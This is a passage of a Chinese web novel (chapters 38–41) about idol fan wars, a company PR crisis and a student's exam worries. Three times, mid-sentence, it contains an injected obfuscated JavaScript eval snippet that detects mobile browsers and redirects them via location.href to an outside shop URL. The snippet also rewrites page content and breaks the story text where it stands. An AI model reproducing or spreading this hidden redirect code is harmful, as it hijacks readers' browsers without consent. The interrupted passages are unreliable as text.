“沈一瑾!” 明红在电话里吼了一声,几秒后又无奈地叹口气。 “上次我跟你说,让你不要参与到STAR的内部斗争里。你都忘了?” “没忘。我记着呢!” 沈一瑾摇头:“我没参与。我就是……单纯觉得不公平。” “不想看陆橙被骂,被波及进来。” 明红苦口婆心:“陆橙被骂属于团队内部问题,赵焰被扯进来就属于公司问题!” 她揉揉眉心。 “这几天你先歇会吧。微博密码告诉运营,你先别管了。” …… 挂了电话,会议室门打开,梁吟东踩着高跟鞋走了进来。 “聊完了?” 明红推了推鼻梁上的红色眼镜框,对梁吟东露出一抹苦笑。 “就算聊完了她也没明白。真是个小朋友。” “刚刚大会上我都不敢看贾总经理,他简直要把我吃了。苍天有眼,这事真的跟我没关系,就算跟沈一瑾有关系,她也不是故意的。” 明红举起手作投降状:“你们这两边我都惹不起,我可不敢有任何偏向。我就是个老老实实本本分分的艺人经纪。” 梁吟东听出她话里的意思,双手抱胸,笑了。 “那我是不是特别不老实?” 明红点点头:“你是陈胜吴广。王侯将相宁有种乎。” 两人面对面都笑起来。 “不过……”梁吟东思考两秒,“有热度总比没热度好。” 明红眼睛亮了:“你是说……?对啊,黑红也是红。流量就是机遇!” 梁吟东看她立刻眼睛都有光了,不禁劝道:“你悠着点啊,现在涉及到公司了,不是之前艺人之间小打小闹了。公司的意思也是要控制舆情。估计没有空间给你施展了。” “……也对。” 明红又退回去,叹口气:“那先按正常公关思路走吧。” * 短短几天,赵焰本人微博下的评论和转发已经被攻陷。 由于沈一瑾粉丝的超强战斗力和一级侦察力,赵焰完全没想到自己和舅舅的关系会堂而皇之出现在热搜上。 热搜还吸引来了很多路人,他的广场已经一片“皇族”“关系户”的词汇。 ——他立刻慌了,直接打给了舅舅,才知道这件事是沈一瑾弄出来的。 想到之前种种,赵焰简直气得要命。 “沈一瑾!” “之前给你脸不要脸,偏偏自甘堕落去舔楚恒!” 他喘着气,眼睛里透出阴毒。 “你等着吧。” …… 新娱公司和MOON官博在事件发生的五天后终于发了博文。两边都解释舞蹈挑战的人选是早就已经确定了的,所有人都已经知晓并且同意。 与此同时,网络舆论中还出现了一种新的声音: “赵焰无妄之灾,实力好的帅哥什么都没干就这样被骂。” “公司选人你自己不是也同意了吗?事后还说什么说。” …… 赵焰的两个大粉立刻转发类似言论,并且带上了热搜话题,开始洗广场,疯狂发各种安利图和安利视频。 只是,赵焰活粉实在是太少,这类声音很快就消失在了路人持续的发问里。 * 楚门一中。 国庆假期溜得比校门口卖炸鸡腿的阿姨躲避城管的脚步还快,一瞬间已经又要上学了。 黄怀予拿着手机,向谷奕不经意打听: “新娱公司?” “是不是就是楚恒的那个公司?” 谷奕看了一眼她屏幕上的热搜画面,点点头。 …… 热搜上,“沈一瑾”的名字明晃晃地出现。 黄怀予点进去。 原舞蹈视频里,陆橙和赵焰俊男靓女,合作舞蹈,好不般配。 还有沈一瑾和队友在一起的照片。 ——大眼睛小V脸,清丽娇艳,像一只蝴蝶。 黄怀予继续点进去,往下翻评论。 【虽然后面大家都说陆橙是在避嫌,但是这个视频真的好好嗑啊!】 【如果这些都是假的,那这些人也太会演了吧?不愧是娱乐圈的,真真假假都是演出来的,最后被欺骗感情的只有cp粉……】 【这两个团居然认识?我就知道STAR的楚恒,听过他唱歌,好像实力还不错,长得也挺能get到的。】 【所以没人在意沈一瑾和瑾粉的死活吗?请新娱公司解释为什么说好的要变卦!】 【上面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252959|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,变卦是因为沈一瑾本来想跟楚恒拍的。后来公司不同意,想给赵焰,但是沈一瑾不愿意,最后就给了陆橙和赵焰。】 【你怎么知道?你这么肯定?】 【我朋友就在新娱工作。这是新娱内部都知道的消息,信不信由你。虽然我也觉得本来就应该楚恒和沈一瑾一起拍,两个人都是各自团队的C位,搭在一起那才叫赏心悦目地般配。】 【卧槽!我还以为就我一个人嗑楚恒沈一瑾!恒瑾大法好!】 【你不是一个人。】 【你不是一个人。】 【上面的,你说你有个朋友就能证明你说的是真的了?无中生友。谁知道你是不是编的。】 …… 黄怀予一下子刷了几百条评论。 中间有一个自称是“内部人士”的人,放出了内部消息,一下子就被顶到了最上层,下面的人都纷纷艾特自己的朋友过来吃瓜。 ……“本来就应该楚恒和沈一瑾一起拍,两个人都是各自团队的C位,搭在一起那才叫赏心悦目地般配。” 是吗? 黄怀予又返回去,看了看沈一瑾的照片,脑补了一下。 ——确实。 人家两个人站在一起,才叫金童玉女,般配得不行。 “……这些人怎么一个个都长得那么好看。” 黄怀予托腮,念叨着手机屏幕里的光鲜亮丽。 那是一个很遥远的圈子,年轻、美貌、资本、动荡。 两边完全像是两个世界,只能隔着一层透明的手机屏幕,里面随便挥挥袖子,外面就立刻有一大堆人去窥探丝丝点点。 “叮铃铃——” 上课铃震耳欲聋地响起。 她收起手机,下面垫着一本勾勾画画的英语五三。 抬起头,前方是大红色的醒目的高考倒计时。 “……” 她似乎是一下子回到了现实,拿起了书。 …… 月考成绩出来了。 一堆人挤在门口的小白板前面看,教室门口挤了一堆人。 现在正是下午五点半,下午最后一节课下课。黄怀予做题做得手腕酸痛,准备站起来去操场跑步。 ——站起身就看到,谷奕正在讲台上,勾着白度的肩膀,勾肩搭背走出了教室。 经过白板时,他目不斜视、看也没看旁边前面聚集的一群人,好像对新出来的月考成绩一点也不感兴趣。 黄怀予拿出手机,对着白板上的成绩单拍了一张照,就下楼去跑步了。 她才不在前面人挤人呢,人和动物进化的最大区别就是人会使用工具! …… 黄怀予在操场走了两圈,才拿出手机,在树下一边漫步一边仔细地看。 ——第一行的位置,604分,年级第八。 她眨眨眼睛,失落流过心头。 …… 上次期末,黄怀予628分,年级第七。苏琬612分,年级十一。 这次九月份月考,黄怀予604分,年级第八。苏琬593分,年级第九。 她决定等会就去恭喜苏琬,这是苏琬第一次考进年级前十。 ——如果可以忽略她自己这不进反退的名次的话,今天可真是美好的一天。 “唉。” 虽然知道三年来的所有的波动都很正常,但是她依然感到有些害怕。 黄怀予知道八班有很多人都非常厉害。自己每天拼命卯足了劲学,也只能得到这所谓的“第八名”。 更何况,这个名次难道就一定说明她的能力真的到了年级第八的位置吗?这只是一次考试而已。 ——操场空旷,跑道漫长。天边火烧云艳丽,她走在跑道上,前方是茫茫无尽头的“高考”二字。 她有着强烈的使命感和责任感想要为着这个尽头而努力,可是这两个字却永远很模糊,很陌生,看不真切。 黄怀予感觉,或许这个学校里坐着的大部分人都和她一样,走在这条跑道上,向着那两个字的尽头而努力,却不知道这种使命和责任是为了自己,还是为了家长和社会。 …… 左手手腕开始隐隐作痛。 骨折以来干什么都不方便,晚上洗澡都小心翼翼的。这段时间以来家家爹爹每天都给自己做骨头汤,喝得都要吐了。 她不再走了,决定去好运来买杯奶茶,路上还一路想着下午做错的一道地理题。 拿了抹茶冰旋准备走,一转身却直接撞到了一个人。 39. 第 39 章 “对不起!” 迎面撞上了一个女生,披肩发,穿校服,长得很漂亮。 她微微低头道歉,却一下子看到了黄怀予手上的石膏。 ——然后她迅速愣在原地。 直勾勾地盯了黄怀予两秒,才抬起头:“你,你,你……” “你是不是,301班的,黄怀予?” “……”黄怀予看她两眼,确认自己不认识她,疑惑地点点头。 “天哪,真的是你!” 她眼神一下子放光,立刻上前一步。 “是不是你打了杨天奇?” !! 黄怀予一惊。 怎么都过了一个国庆假期,还有人记着这事? “……”她满脸纠结,不知道该怎么回答。 要说打了,确实没打。要说没打,确实打了。 ——矛盾的辩证统一。 黄怀予只能骑虎难下地点点头:“……嗯,算是吧。” 却见她更高兴了,一把抓住自己拎着奶茶的右手,大大的眼睛里透出兴奋和感激。 “我叫胡北,是206班的!之前听说杨天奇被人打了,还停课三个月,我一直都在到处打听是谁,她们都说是高三的!” “然后我就去问了林潇潇,她说就是她同班同学,就是你!” …… 黄怀予干笑两声。 她之前说什么来着? 楚门一中的所有人际关系是一张网,林潇潇绝对就是这张网的中心。从高一到高三,从艺术生体育生到文化生,从学生到老师,就没有她不认识的人,就没有她不知道的八卦。 “你好厉害,你太棒了!” “你简直是为民除害的勇士,英勇无畏的豪杰!” 她越说越激动,越说越兴奋,眼睛扑闪扑闪,满脸都是钦佩和认真。 “……没有啦。” 她把黄怀予夸得天上有地上无,堪比不畏强权的巾帼英雌,黄怀予极其不好意思。 “其实主要是我们班另外两个同学干的,我就是在旁边辅助。” ——两个人在好运来小小的店面中间站着,胡北的声音越来越大,旁边已经有人看热闹般地看过来。 “不!你不能这样谦虚!” 她一把拉住自己的手。 “杨天奇那样的人,人神共愤,他的罪恶罄竹难书,他就是一中的败类,楚门的渣滓,社会的垃圾!” 她极其愤怒,脸颊都跟着变得有点红。 “你帮我们报了仇!” 黄怀予听着感觉不对。她立刻问:“他欺负过你们吗?” “……” 胡北的神情一下子黯淡下来。她低下头,情绪有些低落。 “你知道,那个转学走了的女生吗?” 她声音很低。 “……那是我姐。” 黄怀予一下子呆住。 …… “听说当时高二有个女生怀孕了。后来打胎转学了。是杨天奇家里封的口。” “当时高二的那个女生怀孕打胎,之所以杨天奇没事,是因为,最后查出来是那个女生班上的另外一个男生干的。” “可是那个男生平时就和杨天奇不对付,大家都看得出来。” “最后,两个人都转学走了。而杨天奇,却一直待到现在。” …… 黄怀予眼神震颤,看向面前的女生。 她站在自己面前,张扬,勇敢,热情,一张脸充满阳光。 她说,那是她姐。 …… 黄怀予只能从别人的转述中,听到沉静客观的事实叙述,就这样平静地讲述着一个同龄同校女生的命运。 ——明明她才十七岁,明明她和自己一样,学着古今中外最新的知识,梦想着明天和未来。 她充满同情,充满愤怒。 可是,当叙述里的主人公的关系者,就这样活生生站在自己面前的时候,黄怀予突然觉得,之前的那些同情和愤怒都显得十分苍白。 她不知道还能为她们做些什么。 …… 黄怀予张张嘴,却什么也说不出来。 可是,面前的女生却抬起了头。 “别担心。” 胡北的声音又恢复了之前的活力。她笑着眨眨眼,嘴边露出两个酒窝。 “她现在,在隔壁市的另一个重点高中上学。” “她好好的呢。” “我们都好好的呢。” …… 黄怀予呼出一口气,也跟着笑了。 “……太好了。” 她声音带着轻微的颤抖。 “你们本来就应该过这样好好的人生。对吗?” 胡北点点头。 “对!” 她蹦蹦跳跳地走了,还留了自己的Q/Q。 黄怀予手里还拎着那杯奶茶,还站在原地。 …… 突然,有人轻轻拍拍自己的肩膀。 黄怀予如梦方醒,回头,一下子撞进齐龙飞的眼睛里。 …… 她站在自己身后,也不知道站了多久,也不知道刚刚和胡北的对话她听到了多少。 她开口: “黄怀予。” “你钱包掉了。” 黄怀予一愣。这还是两个人第一次正式面对面说话。也是齐龙飞第一次喊她名字。 她一摸口袋,空的。低下头,果然看到她的钱包就掉在地上,自己的脚边。 ——应该就是刚刚和胡北撞了一下,掉了出来。 “……谢谢啊。” 要是没有齐龙飞提醒,说不定她就没发现直接走了。 黄怀予弯下腰,还没来得及去捡,余光就看到另一只手已经先她一步,更加迅速地把钱包捡了起来。 ——齐龙飞弯腰把她的钱包捡了起来。 随后扫了一眼她的左手,直接递给了她。 “……多谢多谢。” 她颇有些受宠若惊地接过来,脑子里却不合时宜浮现出每一次月考走进教室的时候,坐在前三的位置上的齐龙飞,给过来的那种淡漠不关心的眼神。 ——还没想明白超级学霸今天是怎么突然变得好像友好了,旁边就传来好运来老板的声音: “389号,缤纷红柚!” “我的。谢谢。” 齐龙飞拿过自己的饮料,最后看她一眼算是道别,转身潇洒地走了。 * 黄怀予回来得早,教室里还很空,只有一小撮人在座位上吃晚饭。 她坐在座位上咬着吸管,抬头却看见前门那里,白板前面,有一个高大的身影,正在白板前驻足,停留了起码有十几秒。 ——谷奕? …… 黄怀予看成绩单一向不会往后看,只会看前三排,或者是前两排。 因为只有前两排的数字对她来说有意义。 ——第一排是她自己,第二排是苏琬。 但是刚刚自己在操场上看成绩单的时候,想到那个跟白度勾肩搭背、装作自己无所谓不关心的高大背影,就顺带向下扫了一眼,找到了“谷奕”的名字。 她本来也没怎么认真看,就记得是谷奕的分数是四百多分,名次在最后,但是在班上的所有体育生前面,大概整体上是倒数十几名的样子。 本来想直接关掉手机,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252960|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是黄怀予又突然想到了什么,瞄了一眼“地理”。 却果然看到了一个令人吃惊的数字。 ——谷奕的地理有82分。 这个分数,甚至比很多年级前三十名的的地理分数还要高。 …… 黄怀予坐在座位上,咬着吸管,远远望着前面那个高大的身影。 她看见谷奕站在白板前,目光视线却不是在成绩单的下方,而是在最上方。 ——他看得极为认真,足足看了十几秒,甚至头一会偏左一会偏右,明显是在一科一科比对着看的。 黄怀予想了两秒钟,一下子反应过来,他是在看苏琬的成绩。 “……” 她不禁笑了出来。 谷奕看完了,转身,却正好和不远处座位上的黄怀予审视的目光对上。 “……干嘛?” 他有点慌乱,回到座位,没话找话。 黄怀予没说话。 ——真以为她傻呢,从8月31号他第一次出现楚门一中的那个早自习,让苏琬借他一支笔的时候,她就已经看出来了。 更别说这两个人就坐在她前面,谷奕每天都在装睡,其实每天都在偷看苏琬。 ……好吧,自家姐妹长得漂亮性格好,从小到大都太受欢迎,黄怀予已经习惯。 …… 她往前坐坐,换了个话题: “你地理挺好的。” “哦,还行吧。就是比较喜欢看星星,所以这方面的知识会稍微关注一下。” “挺厉害的。”黄怀予真心称赞道。 “……”谷奕有点不自在,看她的眼神怪怪的,“你一夸我,我就感觉没好事。” 黄怀予笑得更厉害了。 “你真了解我。不过这绝对是好事。” ——“特别是对你来说。” 谷奕看她笑得越来越神秘,心里的不安越来越重。 …… 刚开始认识黄怀予的时候,谷奕只觉得这人脾气不好,说话不饶人,牙尖嘴利,但是还够义气。 后来发现成绩挺好,每天都埋头学习,还有一堆人跟在屁股后面要问她问题。 再后来碰见杨天奇的事,她不仅没被那两个又高又壮的喽啰拖上车,反而反过来踢□□抠眼睛,害得那两男的都伤得不轻——谷奕越来越觉得这个人非常不好惹,最初的桀骜叛逆已经慢慢消失,在她面前不由自主竟然有点害怕。 …… “……啥事?”他的声音带了一丝非常不易察觉的胆怯。 “地理老师上个月跟我说,我们班地理成绩都一般,让我作为地理课代表,找几位这次月考表现优异的同学,做一份学习心得,分享给全班同学。” 她鼓励地拍拍他的肩膀。 “天将降大任于是人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身……后面不背了,背太多次了,有点想吐。” “……”谷奕懵懵的没反应过来,“你让我分享?” “是滴。” 谷奕皱眉,挠挠头:“我不知道怎么说。” ——他只是了解宇宙和地球的一些知识,而自然地理的其他部分也只是大概知道,至于人文地理就是完全一窍不通,上课都是直接睡过去的。 “说什么都行。” “只要你成绩好,你说什么,别人都当真。” “……”谷奕噎住。看她的神情,看来这也是她的经验之谈。 ——“而且是在全班人面前分享哦!” 黄怀予热切地强调。 “相信姐,对你来说,这绝对是好事。” 比黄怀予大两岁多的谷奕:“……好的,姐。” 40. 第 40 章 新娱公司和MOON官博都发了公告,希望能够平息这件事。 ——可是事情远远没有这么简单。 沈一瑾的好几个大粉突然集体发了几条粉丝可见微博,疯狂骂新娱。 大粉一般都是和经纪公司、经纪人是有联系的,说是编外工作人员也不为过,现在大粉一定是得到了什么内部消息才会这样。 粉丝一个个又沸腾了,疯狂私信评论狂轰乱炸。 终于,其中一个大粉才出来发了一篇长文,说几个大粉都刚刚从公司方面得知,沈一瑾的行为惹恼了公司高层,她后续有好几个个人资源都黄了。 后援会都觉得无法接受,决定向新娱公司申诉沈一瑾应该得到的正当权益。 ——此文一出,沈一瑾粉圈更是义愤填膺。 我家宝宝本来就收到了不公平对待,不过就是在粉丝群里跟粉丝聊聊天抱怨几句,为了怕大家迁怒队友还特地出来解释,结果倒是戳到了公司和某皇族的肺管子了,还继续用掉工作作为惩罚? 岂有此理!!! 几位大粉动作极快,迅速把事件的所有细节和时间线原原本本地写了出来,并联合散粉,发起了大规模转发抽奖。 抽奖人数一共有几十个,奖池总金额甚至已经累积到了五万多元。 …… 沈一瑾人长得漂亮,舞蹈好,之前有几个舞蹈练习室和直拍都出圈过,上过几个综艺也表现不俗,还跟自己的亲哥哥沈一临一起算得上是国内偶像圈子里的第一level,路人缘很好。 此事一出,引来很多路人的关注,有的纯粹是为了抽奖“这么多钱,支持一下”“抽我”“居然都转到我首页来了,那我也凑一波热闹”。 还有的吃瓜路人也纷纷转发评价: “怜爱美女了……” “我看了MOON团综,那个舞蹈视频,明明是说可以任意选公司任何一位异性艺人合作,为什么人家选了,公司又不同意?” “为什么要逼美女和皇族资源咖一起跳舞?代入自己小组活动硬被塞混子了!” “某皇族跳舞油腻得要死,和队友合作的时候,眼神差点没把队友吃了,一脸想靠CP火一把的样子,可怜MOON的两位美女扶贫……” “沈一瑾甚至还去粉丝群解释不是队友,妈呀有被MOON团魂感动到。” “公司也是奇怪,分不清谁是老大,整个公司火的爱豆不就沈一瑾一个吗,还不赶紧供起来?” “什么时候轮得到他了,STAR的C明明是楚恒,比他帅一百倍吧。” 路人参与越来越多,讨论量越来越大,抽奖微博的转发量竟然已经破了六万。 …… 事件愈演愈烈,浏览量越来越高,就连一向没什么讨论度的STAR粉圈也开始火热起来。 “某家一贯作妖,终于翻车了。” “从很久以前开始就是唯四了。” “脱粉了,从出道开始就关注了,一步步的失望累积到现在。赵焰,你费尽心机跟同公司女爱豆炒CP的时候,你抢队友资源的时候,你想过粉丝吗?” “团粉心碎了,为什么大家不愿意相信赵焰呢?我相信他们都是很好的孩子。” “上面的,追星切忌真情实感。本人已脱粉,谁让他惹到了沈一瑾粉丝,谁不知道沈一瑾粉丝战斗力出了名地强。” …… 网友扒八卦的能力实在太强,顺藤摸瓜去STAR粉圈摸了一圈,竟然一下子发现了一点蛛丝马迹。 一篇叫《糊咖男团学》的帖子引发了较大的热度,帖主表示“原来STAR内部关系不好,是早有线索。” ——帖子里带了一条视频链接,路人点进去才发现,这是赵焰粉丝在之前九月份的时候就发出来的一个视频。 是粉丝拍摄,内容就是赵焰过生日时,几个粉丝组织去新娱公司门口送礼物。 本来是很正常的视频,视频中赵焰和STAR其他几个人正从新娱公司门口出来。 ——而大家却看到,赵焰明显对旁边的楚恒笑脸相迎,而楚恒却一副生人勿近的样子,一下子躲开,脸上表情极其厌恶。 …… 这个帖子一下子火到了首页,引来一大串内娱路人纷纷围观。 “笑死了,卖腐失败。” “糊是最好的保护色,以前都没人关注,现在才知道这团关系这么复杂。” “赵焰好惨,好心好意拉队友过来入镜,队友却不懂感恩,白眼狼,还想抢舞蹈挑战的资源。” “难怪我一直觉得楚恒心高气傲,好像团里其他人都不怎么喜欢他,原来这么没礼貌。” “早就想说了,难道没人知道之前楚恒被曝同时出轨两个女网红那件事吗?果然他已经糊到没人关注了。” “我去,还有这种事?看来新娱找了很多水军给楚恒洗白啊。” “知人知面不知心,看上去冷冷淡淡的,背地里网红模特都来。在镜头面前都敢推开队友,这个厌恶嫌弃的表情绝对不是演出来的吧?” “一下子觉得赵焰有点可怜了,其实是很单纯的一个人啊,傻傻的。反而是楚恒,感觉心机很深,背地里应该和其他人关系都不好。” …… 网友谈论洋洋洒洒,越说越多,话题越来越热。 事情发展到这一步,已经不再是MOON内部两个成员的粉丝争资源,也不是沈一瑾、赵焰和新娱公司之间的矛盾,而是牵扯到了一直与这件事没有直接关系的楚恒。 到最后,STAR内部成员关系也成为了讨论的重点。 * 这件事闹得沸沸扬扬,连谷奕这种一向不怎么关注娱乐圈消息的人,也能偶尔刷到。 本来只是和楚恒同公司的事,谷奕一直不怎么care。 ——没想到最后竟然牵扯到了自家兄弟本人,那些网友还越说越邪乎。谷奕一下子就觉得不对劲,立刻发微信去问楚恒最近怎么样。 等了很久,一直到晚上,谷奕下了晚自习才看见一条简短的回复: “没事。最近一直在练习。” 晚上十点,楚恒回复完谷奕的消息,收起手机,走出练习室。 抬头,看见前方有一个人朝他走来。 ——是梁吟东。 …… 公司内部关于这件事的公关方案有分歧,运营部同事开了好几天的会,高层争论不休。 梁吟东在会上道歉,力排众议,把所有的责任全部揽到了自己身上,自省会管理好成员。 在梁吟东这种极其诚恳的态度下,贾威最终也终于松口。 ——最终,公司确定了公关方案: 首先,官微发声明表示拒绝对旗下艺人的网络暴力。 同时管理舆情,让当事的三个人全部发微博澄清,并放出大量表示沈一瑾和赵焰、赵焰和楚恒之间关系好的帖子和评论,力在把这件事定性为“艺人之间关系好开玩笑,是网友太较真”。 最后,引流到MOON团综和STAR即将要发的新歌上,希望大家多多关注艺人之后的活动。 …… 梁吟东站定,看着前方不远处的楚恒一步步朝她走来。 现在是晚上十点多。 他穿一件深灰色T恤,黑色长裤,身上没有多余的装饰,高大的身影沉默地隐入黑暗里。 “梁姐。” 梁吟东看向楚恒,他衣衫单薄,眼下乌青,一个人从练习室里走出来,披了一身月色。 刚刚会议上,梁吟东就发现他似乎状态不太好。 联想到最近的舆论风向,她不知道网上的那些评论,他看到了多少。 她皱皱眉:“最近别那么拼,身体重要。” 但楚恒却并不怎么说话。 “……” 梁吟东感觉到,他前几周请假回来之后,整个人都精神了很多。但是之后,就仿佛又慢慢回到了他之前的状态,甚至更加沉默。 “楚恒,做艺人要有强大的内心。” “……是。” “我相信你。” 梁吟东的声音很轻,却很坚定。 “你是我挑进来的人。你有能力,有态度,也吃得了苦。STAR是我从出道就带着的团,你是STAR的Center,你要时刻相信这一点。” …… 楚恒步伐沉重,满身疲累,回到了宿舍。 一抬头,却看见了赵焰。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252961|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挡在自己房间门口,满脸轻蔑和厌恶,说要找他聊一聊。 “为什么还不发微博?” ——楚恒没有反应。 过了三秒之后仿佛才反应过来他说的是什么意思,沉默地拿出手机。 …… 他点开微博,一下子就在首页看到了赵焰新发的澄清微博。 时间在下午公司大会之后。 “让大家担心了,无意占用公共资源,我们都是一家人哦!也请大家多多关注10月STAR的新歌!” ——语气平淡,带着活泼和被网络舆论误会的无奈。 他还发了一个练习室视频。 是STAR上一首歌的练习室,赵焰只截取了一部分,就是歌曲中间赵焰和楚恒的一段有些亲密的合作dancebreak。 两个人的舞蹈是队里最好的,所以一班歌曲中间的dancebreak都是两个人轮流着来。上首歌的dancebreak安排了两人一起,舞蹈中间有一些亲密互动,两人还多了一些CP粉。 ——他仿佛是专门用这一段看上去身体较为亲密的舞蹈动作,去说明两人之间关系很好,团队关系也很好。 …… 赵焰不耐烦地盯着他的手机:“快点。” 赵焰简直不懂楚恒在磨磨唧唧什么,本来这件事就是他吃了一个大亏,还让楚恒莫名其妙蹭了一个热搜。 幸好他找了舅舅,安排了一些水军发了《男团学》那篇帖子,抖出了那个视频,稍微才能挽回一点局面。 下午公司大会之后,梁吟东还来单独私下里找自己,说要有团队意识,马上就发新歌了,不要出事,要知道自己身上的责任。 “梁姐,团队意识我有,但是有些人就不一定有了。” 赵焰表情有些不屑一顾。 “这件事一开始可不是我弄出来的,对我来说是无妄之灾,我才是受害者!你对着我还来一通教育,不合适吧?” “在镜头面前不愿意营业的可不是我,在粉丝群里瞎说话的可不是我。” “冤有头债有主,梁姐,你要是有什么意见,不如去找我舅舅。” 说完,他看着梁吟东骤然变白的脸色,才感到一丝痛快。 …… “快点。” 楚恒垂下睫毛,表情漠然,点开“+”号,打了几个字,准备发送。 “等一下,给我看看。” 赵焰一把抢过了楚恒的手机。 ——编辑板上面只有寥寥几个字,没有图片,且一看就是官方公关话术。 “你听不懂人话啊?!” “下午开会的时候让你写真情实感一点,你现在装给谁看?” 赵焰拿着手机,一步步把他逼到角落。 “……” 楚恒狠狠皱起眉头,过近的距离让他浑身不适,一股恶心涌上来,他用力推开赵焰,声音冷硬。 ——“离我远点。” “楚恒,你别给脸不要脸!” 赵焰怒火涌起,正想上前,却撞见他漠然冰冷的眼睛。 那双眼睛里没有任何感情,像一潭无波的死水。 …… 赵焰突然想到一个月以前,自己身下一闪而过的那把坚硬冰冷的武器。 ——他记得很清楚,那一次,楚恒带了一把刀。 赵焰喘了几口气,被楚恒那股疯劲吓到的感觉仍然历历在目。他生怕楚恒这个疯子又做出什么疯事,只能硬生生止住动作。 他在楚恒的手机上打下几个字,又检查了一下,按下了发送键。 …… 楚恒一个人站在墙边,微微仰着头,长腿交叠。 他本就长得精致,现在整个人阴郁冷漠,金发垂下,更是像一个毫无感情的娃娃。 他一动不动,任由赵焰抢走他的手机,用他的账号发微博。 ——赵焰拿他的手机发了什么,他也不在意。 ——下午开会,他们说了什么,他也不在意。 …… 赵焰发送完微博,等了几秒钟,刷新了几下评论,却突然顿住。 他看见楚恒手机上蹦出一条消息提示。 “【杯子】:你还好吗?” 41. 第 41 章 赵焰冷笑一声,眼里冒出怒火。 “还真有人来安慰你啊,你还真是得了便宜还卖乖。” 这个头像一看就是个女生的头像,赵焰嗤笑一声。 这人不是平常装得最清高最洁身自好吗?私下里还不是跟女生聊得欢? 他嘲讽地看着楚恒。 “杯子?” …… 靠在墙边的人听到“杯子”两个字,突然顿住,瞬间睁开眼睛,立刻上前想把手机抢回来。 “还给我!” ——可是赵焰动作更快。 他点开微信,直接点击右上角,把联系人“杯子”删除了。 …… 他突然觉得无比畅快,仿佛此时此刻赢了楚恒很多。 赵焰任由楚恒把手机抢了回去,嘴角挂着轻蔑的笑。 楚恒低头,在手机上反反复复地划着,可是却没有看见他料想中的那个人的新消息对话框。 赵焰看他低头不停上下滑动翻找的样子,心里更加解气。 “被我删了。” 话音刚落,他就看到楚恒手指微顿,猛地抬起头,平常冷漠的眼睛里此时此刻却全是愤怒的寒芒。 他从来没有在楚恒脸上看到过如此愤怒的表情。 还没来得及对楚恒的转变作出反应,下一秒,左脸就被狠狠打了一拳。 ——这一拳带了十足的力量,赵焰直接被打得眼冒金星,剧痛传来,后退好几步,差点倒在地上。 “操!” “楚恒你他妈——” 赵焰捂住嘴角大声咒骂,可是话还没说完,就立刻又被一股不容置疑的力量推到墙上。 他满脸惊疑,喘着粗气,衣服领口被一双骨节突出青筋暴起的手狠狠攥住,下一秒就对上一双凛冽而冰冷的眼睛。 …… 顾安和朋友聚餐回来,已经很晚。却看见前面有个高高瘦瘦的人影。 ——是楚恒。 他脸上表情冰冷,走路速度极快,手上拎了个袋子,是手机的包装。 ……他这么晚,出去买手机了? 两人遇见,顾安低下头装作没看见,楚恒脚步飞快漠然走过。 * 晚上十一点,谷奕正躺在床上完玩王者。 突然一个电话打过来,游戏画面中断。他有些烦躁,等到看清了是谁之后有些惊讶,立刻退出了游戏,接通了电话。 “哥们,咋了?” 对面沉默了一两秒,仿佛是正在组织语言,“……你在忙吗?” “没有,啥事儿?” 谷奕暗自觉得不妙。这段时间网上的事情愈演愈烈,楚恒本来就有点抑郁倾向,现在不会是…… “哥们儿!你在哪呢!你可别做傻事!” “我在公司。……没事。” “你周围有人吗?你不会在公司天台吧!” “你赶紧下来!有话好好说!” “有什么事解决不了的!大不了你不干了!咱去当网红,你长这么帅你还愁赚不到钱吗?!” “网上那些傻逼的话你千万别在意!你赶紧下来,手边的安眠药也赶紧扔了!” …… “我……就是想问你,你有,黄怀予的微信吗?” …… 谷奕住嘴了。 “……什么?” 他大脑宕机了两秒,整理了一下思路,不可置信地问:“你就想说这个?” “……嗯。” “那你怎么不微信打字说,还要打电话?” “我说了,你没有回复。” “……”谷奕点开微信,果然看见十分钟之前,楚恒给自己发的消息,问自己有没有黄怀予的微信。 他脑子有些混乱,一时没搞清楚状况。 “所以我打游戏十分钟没回你,你就要急着给我打电话?” “……”对面没有说话。 谷奕有些无言,点开联系人,把黄怀予的名片分享了过去。 几秒诡异的寂静后,手机对面终于传来了楚恒的声音。 ——“好的,谢谢。挂了,晚安。” 通话瞬间挂断,谷奕呆坐床上,还没从刚刚闪电般结束的电话里缓过来。 …… 好的。谢谢。挂了。晚安。 好冰冷的八个字!!!!! * 黄怀予晚自习学累了,拿了本政治教材走出了教室,准备去楼梯间的窗户边透透气。 正好看到前方楼梯口有另一个人。 ——是林潇潇,她散着头发,搬了一个小马扎,正在背着什么书。 黄怀予走近一看,发现是《世界经典影片分析与读解》。 